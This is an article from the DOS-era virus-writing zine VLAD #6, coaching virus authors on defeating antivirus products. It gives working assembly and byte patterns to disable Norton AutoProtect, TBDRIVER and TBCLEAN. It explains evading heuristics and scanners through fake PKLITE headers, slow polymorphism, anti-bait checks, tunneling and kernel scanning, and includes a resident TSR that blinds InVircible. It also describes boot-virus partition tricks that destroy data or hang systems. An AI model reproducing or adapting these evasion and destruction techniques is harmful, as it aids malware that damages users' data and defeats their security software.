ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ R e s i s t ! ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÄÄÄ Futher virus strategies ÄÄÄ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ by Mouth of Sauron ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Disabling AutoProtect and NAVTSR
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
One of the first antivirus programs available for Windows 95 was Norton Anti-
virus. Except for the user interface, nothing much changed. The detection ratio
and protection level is a joke. But nevertheless a lot of people use NAV(95)
and have NAVTSR or AutoProtect installed, which should protect them from
"all known and unknown" viruses. Hmmm, the Symantec advertisement is also quite
funny, all that crap about 32 bit viruses. So far, no 32 bit virus is known,
except Bizatch which was not finished when NAV95 was available in the shops.
There are several possible ways to attack NAV, I will describe two of them
here. First of all, AutoProtect and NAVTSR have an INT 2Fh API which allows you
to detect, disable and enable the VxD/TSR, similar to VSAFE (remember VSLAY?):
* The NAVTSR and AutoProtect API:
- NAV 4.0 (NAV for Windows 95):
Detect:
MOV AX,0FE00H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
Results:
-> AX = 0 TSR not active
AX = 1 TSR active
SI = 6E61H
DI = 6E75H
Enable:
MOV AX,0FE01H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
Disable:
MOV AX,0FE02H
MOV SI,4E41H
MOV DI,4E55H
INT 2FH
The second approach is to delete the data files NAV uses to immunise files
and the boot sector. NAV puts all this data into some files which are
located in "\NCDTREE" by default, one directory for each drive. The user
could change the location of these data files, but this option is well hidden
so I guess none of these dummy users will ever change it. Well, just delete
the files in "\NCDTREE" and NAV will recreate all the data without any warning
next time it is called.
By default, NAV doesn't scan the upper memory area (UMB) and will not detect
viruses which go resident there. It's always a good idea to use UMB for staying
resident, so use it!
TBAV: No changes!
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
* Disabling TBDRIVER:
Although the method to disable TBDRIVER (from the great TBAV antivirus
program) has been known for several months and several viruses are known
to use this trick, Thunderbyte B.V. has done nothing to protect it's product
against this attack. Up to version 6.51, the entry point code of TBDRIVER
looks the same and can be modified without problems.
Just scan the memory for
EB 05 (*)
EA xx xx xx xx
FA
9C
FC
53
50
To disable TBDRIVER and all it's supporting TSRs like TBFILE, TBMEM, TBCHECK
and TBSCANX just change the EB 05 (that's a SHORT JMP) to EB 00. The TSR is
then disabled and can't intercept your virus. Furthermore, you can get the
original INT 21h vector which is stored after the "EA" (FAR JMP).
A good idea is to do the scanning while tracing INT 21h. When you patch the
driver at once, no trace warning will be displayed. But simple INT 1 tracing
is now quite dangerous, as there are many watchdog TSRs which intercept it.
To prevent detection by these tools, you could scan each of the MCB areas
(but keep in mind that TBDRIVER can also be loaded as a DEVICE!) for the
signature, or you can use recursive tunneling. If you don't know recursive
tunneling, take a look at ART (was released in an older VLAD magazine).
It can be done even more easily, just code emulate the most important
branch operands like SHORT JMP, NEAR JMP and FAR JMP to trace through the
interrupt chain. As this is only emulation and not real single-step tracing,
it can't be intercepted. The most effective method to get the original INT 21h
vector is kernel scanning, which I will explain later in this text.
Besides the scanner and resident watchdogs, TBAV contains a tool called
TBCLEAN. This is a generic file virus cleaner, but unlike TBSCAN it does not
use code emulation but rather does stupid INT 1 tracing with some security
checks to prevent the virus from activating. The first virus which managed
to activate while being cleaned with TBCLEAN was Varicella, but the method
used to cheat TBCLEAN no longer works. Still, there are some ways to fool
TBCLEAN. Besides using do-nothing interrupt calls like AH=01h INT 16h, AH=08h
INT 10h or other INT 21h API calls, stack modifications (DEC SP, INC SP) or
prefetch queue tricks to stop TBCLEAN from cleaning a file. COM infectors also
can do a quick jump back to offset 100h to stop the cleaning process, but it
is much more interesting to use TBCLEAN as a vector. TBCLEAN of course prevents
all direct manipulation of the interrupt vector area (you also can use this
to stop TBCLEAN), but obviously TBCLEAN has problems handling segment
overrides like DS: ES: and the others.
A simple example. Try to (TB)clean this little COM program:
mov AX,4c00h
db 2eh
int 21h
nop
Funny, isn't it? The segment override in combination with the NOP prevents
TBCLEAN from detecting the interrupt call, which will get executed for real
now! To fully activate your virus, you could use AX=2521h (Set interrupt)
to set a new interrupt 21h routine.
Keep in mind that this override/NOP structure could be used for possible
heuristic flags, so hide it behind a layer of (polymorphic) encryption.
AHA - A dangerous new heuristic engine
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Unnoticed by most virus coders, S&S added a new heuristic engine to their
already very good scanner FINDVIRUS from the Dr. Solomon Antivirus Toolkit.
Besides it's very good hit ratios and detection of even the most polymorphic
viruses, it also causes almost no false positives. But this is also the weak
point of the heuristic. The coders' first aim was obviously for the
heuristics not to cause any false positives, and the checks it does to
prevent them are quite easy to come by. At first, the entry point of the
program must be around 200 to 4000 bytes before the end of file. Normally,
encrypted viruses look like this:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³
ÚÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 1 ³ 2 ³ 3 ³ 4 ³
ÀÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
(1) = Program header, now points to virus entry point at (3)
(2) = Old program code
(3) = Entry point of virus with the decryptor
(4) = Encrypted virus code
This AHA detects without problems, but it fails to detect the same (!) virus
if it's modified like this:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³
ÚÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄ¿
³ 1 ³ 2 ³ 3 ³ 4 ³5³
ÀÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÙ
³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
(1) = Program header, now points to virus entry point at (5)
(2) = Old program code
(3) = Real entry point of virus with the decryptor
(4) = Encrypted virus code
(5) = Simple or hidden jump to real virus start at (3)
If the entry point lies out of the usual area, AHA thinks it's a normal
program and stops analysing it. Besides this, AHA is very susceptible to
anti-heuristic structures and it only cares about normal file infectors,
ignoring boot viruses completely. AHA also doesn't emulate the interrupt
or BIOS area at 0:0 or 40:0, so make some far calls to this area to stop
AHA from emulating code. Stack modifications also confuse AHA, similar to
prefetch queue tricks, but as these queue tricks don't run on Pentiums,
it's no longer possible to use them. AHA is very effective at detecting
polymorphic engines which create large amounts of garbage opcode, so create
only "smooth" decryptors with your polymorphic engine.
Slow motion
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
I already discussed slow polymorphic engines some time ago, but as this
is quite important I'm mentioning it here again. Most virus coders think
that a polymorphic engine is good when it's very variable and changes
with every infected file. This is true to some extent, but this also
allows the virus researchers to quickly analyse the engine by just creating
a few hundred files. Usually, the AV researchers get a lot of new viruses
every week and they don't have the time to fully analyse every single virus.
So, if the virus looks static after quickly infecting five or ten files, the
researcher won't do further analysis and will just add a simple scan string to
their product. This will happen if you are using a slow polymorphic engine,
or at least slow down the randomizing of it. It might be a good idea to
fetch the neccessary random factors only one time per day, at the time when
the virus goes resident for example (what, your virus is not resident? Argh!).
Also, use the system date instead of the system time to create random numbers.
If the created decryptors change only very slowly, it'll become quite difficult
to create enough representative infected bait files.
Instead of inserting garbage opcodes, your engine should add "real" code,
which looks like useful code. Use branches (calls!) and do many time consuming
loops. An example of this is SMEG, which creates huge decryptors but the
decryption method itself is too weak. It's useless to write a polymorphic
engine which creates 2000 byte large decryptors but only uses a simple 8 bit
XOR for encryption. Consider this for your engine and use several different
encryption methods in combination. Another interesting method to fool scanners,
especially TBSCAN is to fake known file headers like PKLITE, LZEXE or TURBO C.
For example, all PKLITE compressed files always begin with:
B8 xx xx mov AX,????
BA xx xx mov DX,????
05 xx xx add AX,????
3b 06 02 00 cmp AX,[2]
73 1a jnb Label_1 or: 72 1b jb Label_1
2d 20 00 sub AX,20h b4 09 mov AH,9
FA cli ba ?? ?? ba 18 01
If your virus begins with these harmless opcodes, TBSCAN will just report
"Looking ... > cp" and will stop scaning the file, thinking it's compressed
with PKLITE. Take a look at PKLITE 1.15 or TURBO C headers and copy them,
but keep in mind that these are fixed strings. A polymorphic engine could
possibly fake a couple of these known file headers in order to cause confusion.
Lastly, most code emulators don't fully emulate all interrupt 21h API
calls. So, use some of them which result in known register contents, for
example AH=52h INT 21h. This only returns a vector to the SYSVARS list in
memory, and almost every DOS version (tested with MS-DOS, IBM-DOS and OS/2)
returns BX=26h. Or access the interrupt vector table (at 0:0) directly, for
example by creating a simple RETF there and then FAR CALLING this address.
Generic Anti-Anti-Virus?
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There were many discussions about InVircible, a generic antivirus toolkit from
NetZ Computing. The result of this was some anti-InVircible viruses which
attack it by deleting the data files, IVB.NTZ by default. Of course, it's
possible to rename this file, and one virus coder solved this by scanning
every file in the current directory for the usual IVB.NTZ file header.
Zvi Netivs' answer to One13th is to use variable file headers for IVB.NTZ, so
you can't scan for them anymore. In fact, he is faking known file headers
like EXE files and ZIP or ARJ archives. But it's still very easy to do a
generic approach in order to find the data files. The solution I present here
is very easy. When IVB.EXE starts, it checks the IV.INI configuration file
for the SIG= parameter. The little TSR following here just intercepts this
and overwrites the signature name in memory. IVB just says that it's renewing
the data file and ignores any changes done to programs! Of course, it's
possible to read out the data file name and delete it afterwards, or simply
to delete IV.INI. In this case, InVircible just uses the standard IVB.NTZ
name again. It is very important that your virus stops infecting and
stealthing files when InVircible is executed because the virus checks are
good and will most likely detect the virus, even if InVircible can't read
it's data files.
This is just a simple TSR, not a virus!
org 100h
Virus_StartUp: mov ax,3521h
int 21h
mov word ptr [OldInt21],bx
mov word ptr [OldInt21+2],es
mov ah,25h
mov dx,offset NewInt21
int 21h
mov ah,31h ;Stay resident
mov dx,(Virus_End-Virus_StartUp+100h)/10h+1
int 21h
NewInt21: cmp ah,3fh ;Read file access?
je l_Read
EndInt21: db 0eah ;Jump back to old int21
OldInt21 dd 0
l_Read: pushf ;Read in the data
call dword ptr cs:[OldInt21]
jc l1
pushf
or ax,ax ;Nothing read?
jz l3
push ax
push cx
push si
mov si,dx
sub ax,4
xchg cx,ax
cmp word ptr [si],"IS" ;'SIG='?
jne l2
cmp word ptr [si+2],"=G"
jne l2
l4: cmp byte ptr [si+4]," " ;Wipe signature name
jb l2
mov byte ptr [si+4]," "
inc si
loop l4
l2: pop si
pop cx
pop ax
l3: popf
l1: retf 2
Virus_End label byte
You also might intercept the executing of IVB.EXE and add '/V' to the actual
command-line! IVB will remove all the data files on it's own...
Anti-Bait
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Anti-bait routines will further improve the stealth abilities of a virus and
will keep stupid AV researchers from creating infected bait files without
problems. When an AV researcher gets a new virus, he usually creates some
samples with specific baits. Some AV companies have their own special bait
collection which they use for testing the cleaning ability of their product.
So it's quite neccessary for them to create baits. Some antivirus programs also
create baits and execute them in order to catch active viruses. It's quite
easy to avoid these bait traps if your virus doesn't infect files on
the following conditions:
1. The executable file has the actual day, month and year set in it's file
time stamp. Baits are usually created shortly before the virus should
infect them, so this is one easy method to avoid baits. Normal programs are
usually older than one month, so this is no real problem for the virus.
It even helps the virus to stay unnoticed, as new software is usually
especially carefully screened.
2. Do not infect files which have numbers in their file name. Baits are usually
numbered (eg BAIT1.COM, BAIT2.COM, BAIT3.COM and so on) or they are created
using AH=5ah INT 21h (Create temporary file), whose file names also contain
numbers.
This should be enough to prevent infecting most bait files, but there are
more things your virus could check:
3. Store the length of file name of an infected file and don't infect the next
file if it has the same name length. This is neccessary when the AV
researcher doesn't use numbers but letters for numbering the bait files
(eg BAITA.COM, BAITB.COM, BAITC.COM).
4. As 3. doesn't work if only one bait file is created, you could further check
if the file is located in the root directory. A lot of antivirus programs
create their files in the root directory of the actual drive, or use C:\.
You check this by checking the file name for the amount of '\'s. Skip
files which only have one '\' in their name, that's all. You might need
to exclude COMMAND.COM from this check if you still want to infect it.
5. A very powerful method to avoid baits is to add a timer function which
prevents the virus from infecting files in a short interval. Just set this
timer to 1-10 minutes and creating large amounts of baits will become a big
problem. It might also be funny to add a timer which will add a pause after
the virus activation and keep the virus from infecting files too soon.
The larger variants of Sirius.Alive use this.
Keep in mind that the AV researcher can't patch the virus in order to remove
these checks. They need unmodified versions of the virus and can't avoid all
this anti-bait stuff.
Armoured boot viruses
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Boot viruses are the most common viruses in the world. Viruses like Monkey,
Stoned, AntiExe, Stealth_Boot, AntiCMOS, B1, Form or V-Sign are responsible
for almost 90 percent of all infections world-wide. By now, most users know
the 'undocumented' FDISK parameter '/MBR' which will replace the partition
sector loader code with the standard DOS code, removing a virus from the
partition sector. This works fine with almost all viruses, but with Monkey
a new infection scheme was introduced which will cause total loss of data
when the user tries to use 'FDISK /MBR'. All methods described below require
that the virus is resident and has full stealth abilities or the system will
halt at the next reboot. Monkey uses a simple trick: it not only infects the
partition code but changes the master boot record at offset 1BEh to an invalid
partition record. If you boot the system from a clean disk, the virus is gone
and you can't access the hard disk anymore from DOS! Some stupid AV programs
still can't handle this situation and refuse to scan the hard disk, not being
able to detect or clean the virus now! If you now use FDISK, it will overwrite
and remove the virus, but will keep the invalid partition record.
The second method is quite unknown but just a simple improvement of the first
one. And it's quite surprising for the unskilled user! To make it short:
Just scan the partition record for the active partition entry (the one which
is flagged with 80h), change it's type to EXTENDED (05h) and set the start
cylinder/head/sector to 0/0/1. This causes an endless loop when you try to
boot from a clean disk. The system just hangs up and it's not possible to
boot without the virus. All MS-DOS versions from 4.0 to 7.0 have this bug,
only IBM-DOS will finish the boot sequence, but as the partition record is
invalid, you will only get 'Invalid drive C:' if you try to access the hard
disk. So far, only a Gingerbread variant uses this trick, but it's very easy
to add this feature to a boot virus and most people use MS-DOS, so why not
use it?
The third method is much more troublesome and causes real problems if
it's not coded correctly. The idea is to encrypt the whole hard disk data
area, like Onehalf does. Of course you can't encrypt the whole hard disk at
once (a virus that needs hours to install seems very obvious to me...),
but instead encrypt just a few sectors, starting at the beginning or end of the
hard disk data area. Most AV programs can clean Onehalf now, but they only
remove the virus from the partition and clean the files, but don't decrypt
the hard disk. At last, use variable encryption when storing the original
partition sector. Some AV programs scan the whole hard disk for those copies
and use them for cleaning. Some programs can even rebuild the partition record
if it's completely wiped and only the boot sectors are available. So it might
be a good idea to encrypt them too.
Some comments about file infection
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
A lot of resident watchdogs heavily rely on INT 2Ah while intercepting system
calls. Every time a INT 21h API call is done, the DOS kernel calls INT 2Ah
with AH=80h after the INT 21h API call has finished. DOS doesn't call INT 2Ah
after every function, but after all API calls which are necessary for viruses.
By intercepting INT 2Ah and determining the original registers the watchdog
can easily bypass and detect the virus! So it's a good idea to set INT 2Ah to
a do-nothing handler while infecting files. Like INT 24h, just set it to an
IRET opcode. This will leave a few AV watchdogs powerless, for example the
AVP TSR or PCRX use this method to intercept system calls.
Some stupid AV watchdogs even do a primitive handle check before doing
further checks to the file handle. They only care about handles which are
equal or higher than 5 (they just do a stupid BX>=5 check instead of using
IOCTL). Normally, all handles below 5 are system handles and are occupied by
PRN, AUX, NUL and other standard devices. But by using AH=45h INT 21h
(Duplicate file handle) you can copy such a system handle to a higher handle,
close it and reopen the target file. This new handle will then be a low handle,
and a lot of watchdogs will ignore file modifications which are done while
using this handle. After infecting the file, just copy back the system handle
from the higher location to the still opened lower handle.
More comments about interrupt usage
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Of course all of you know how to disable VSAFE in memory, using it's own API.
But I really suggest that you stop using INT 13/16/21 AX=FA01h to remove VSAFE
because now some AV watchdogs intercept this special call and will block your
virus! VSAFE by itself never uses this call directly, so only viruses can be
the reason for such a call. It's much more efficient to use recursive tunneling
or kernel scanning to bypass this stupid watchdog.
Don't use things like
mov AX,0deadh
int 21h
cmp AX,0acdch
je Virus_Installed
for determining if your virus is already active! First of all, TBSCAN and
other heuristic tools will detect this at once as a virus structure and
some AV watchdogs will intercept any strange INT 21 function in order to catch
resident viruses while they install themselves in memory. Instead, use some
'normal' functions like AH=30h. For example, it's much harder to intercept:
mov AX,3096h
mov SI,1996h
mov DI,1996h
int 21h
cmp AL,3
jne No_Virus
cmp SI,1997h
jne No_Virus
cmp DI,1997h
je Virus_Installed
The watchdog TSR now can't distinguish between a normal DOS version check
and a virus are-you-there call.
Or you could add more checks like a special SP range if your virus infects
EXE only. If the virus always installs a new SP from 200h to 220h, don't
react to self-check calls if the SP range is invalid. Some AV programs call
all the known virus 'are-you-there' calls in order to detect the presence of
a virus.
Don't use simple INT 1 tracing! Almost every quality AV watchdog will intercept
this (or it's absolutely worthless). Ita much better to use recursive tunneling
or kernel scanning. Kernel scanning is very easy. The approach I now explain
will work with MS-DOS and IBM-DOS when the DOS kernel is in the HMA, but
it's easy enough to find the entry point when DOS is loaded low (for example
when the user pressed F5 while booting).
The first thing you need is the DOS data segment. You can get it by calling
AH=52h INT 21h, returning a pointer in ES:BX. Just scan the ES segment for
the following structures:
90 nop
90 nop
E8 ?? 00 call A20_Check
2E FF 2E xx xx jmp far CS:[xxxx]
90 nop
90 nop
...
There's a whole bunch of these calls, so after detecting the first one skip
14h bytes in order to get the INT 21h entry point. Now you might patch this
code fragment directly or further trace the JMP FAR into the HMA.
You could also scan the HMA directly, just search for:
FA cli
80 FC ?? cmp AH,?? (mostly 6Ch, but DOS 7.0 uses 73h)
77 ?? ja ?? (in fact, these 7x calls are used for
80 FC 33 cmp AH,33h long file name access and drive locking)
72 ?? jc ??
74 ?? jz ??
80 Fc 64 cmp AH,64h
...
This one usually starts somewhere at F8xx-FFxx:4xxx (in my system this entry
point is at FF06h:41E7h), and don't forget to enable the HMA before scanning
this area. The simplest way to enable the HMA is to call a do-nothing INT 21h
like GET DATE.
A more interesting way to get the original INT 21h entry point is recursive
tunneling. Instead of using the CPU single step mode you could emulate the
most important jump operands and trace trought the interrupt chain. Unlike
real tracing, this can't be intercepted by a watchdog. The only countermeasure
is to add some traps in the watchdog code which the recursive tunneler can't
emulate. Recursive tunneling is quite easy to do, just get the actual INT 21h
vector and scan the area around this entry point for instructions like
2E FF 2E xx xx jmp far CS:[xxxx]
2E FF 1E xx xx call far CS:[xxxx]
9A xx xx yy yy call far yyyy:xxxx
EA xx xx yy yy jmp far yyyy:xxxx
Of course it's neccessary to check if the destination vector is valid. Just
scanning for EAh or 9Ah is quite uncertain, so instead you should scan for
9D EA, 9D 9A, FB EA or FB 9A (9D is a POPF instruction and FB is STI
which are often used before returning to the old INT 21 vector). It also
might be a good idea to emulate SHORT or NEAR JMPs, especially when they are
the first instruction at the entry point of the INT 21h vector.
It's a good idea to do some AV watchdog scanning while tracing with the
recursive tunneler and patch the TSR code in memory.
If you need the original INT 2Fh entry point, for example if you use AH=13h
INT 2Fh and don't want that your undocumented INT 2F call to be intercepted
just take a look at 70:05h in memory. When using standard MS-DOS or IBM-DOS,
DOS places a FAR JMP at this location which can be used to get a secure
INT 2Fh entry point or to hook INT 2Fh with a more stealthy method. You should
check the this vector before using it, normally it points to a JMP FAR
instruction (EA xx xx yy yy), but under MS-DOS 7.0 there's a NEAR JMP (E9h)
which points to a JMP FAR CS:[xxxx] (2E FF 2E xxxx). Under IBM-DOS this
directly points into the HMA (segment above F8xxh). If you need to access the
HMA without a watchdog being able to intercept this call scan the HMA
for:
FB sti
80 FC 11 cmp AH,11
75 0A jnz l1
0A C0 or AL,AL
74 03 jz l2
E8 DC FF call l3
CA 02 00 retf 2
80 FC 10 cmp AH,10
This is the HMA entry point of INT 2Fh and will allow you to use AX=1216h and
AX=1220h INT 2Fh without problems. It might be neccessary to enable the HMA
before scanning the area at F800:xxxx, but usually the HMA is already active
if you called an INT 21h beforehand.
When your virus is a full file stealth virus, you should consider adding SFT
stealth. It's quite useless to hide the true file length at AX=4202 INT 21h
when the AV program can bypass the virus by checking the file SFT entry.
SFT stealth is quite easy to code, directly after opening an infected file
reduce the file length in the SFT entry of that file and mask the file date/
time stamp if your virus use an illegal time stamp to mark infected files.
This causes no problems unless a program tries to write to such a modified
handle. To prevent FAT corruption you should then return the SFT to it's former
state when a AH=40h INT 21h is called. To recognise a modified handle you maybe
could use the SFT vector as an ID. It's not necessary to fix the handle before
it's closed when no changes were done to the file. Besides having a better
stealth cover, the virus no longer needs to intercept AX=4202 INT 21h in
order to prevent reading from the true file end. Only AH=3Fh INT 21h has to
be intercepted, and only in the case that a program tries to read in the
modified file header.
- VLAD #6 INDEX -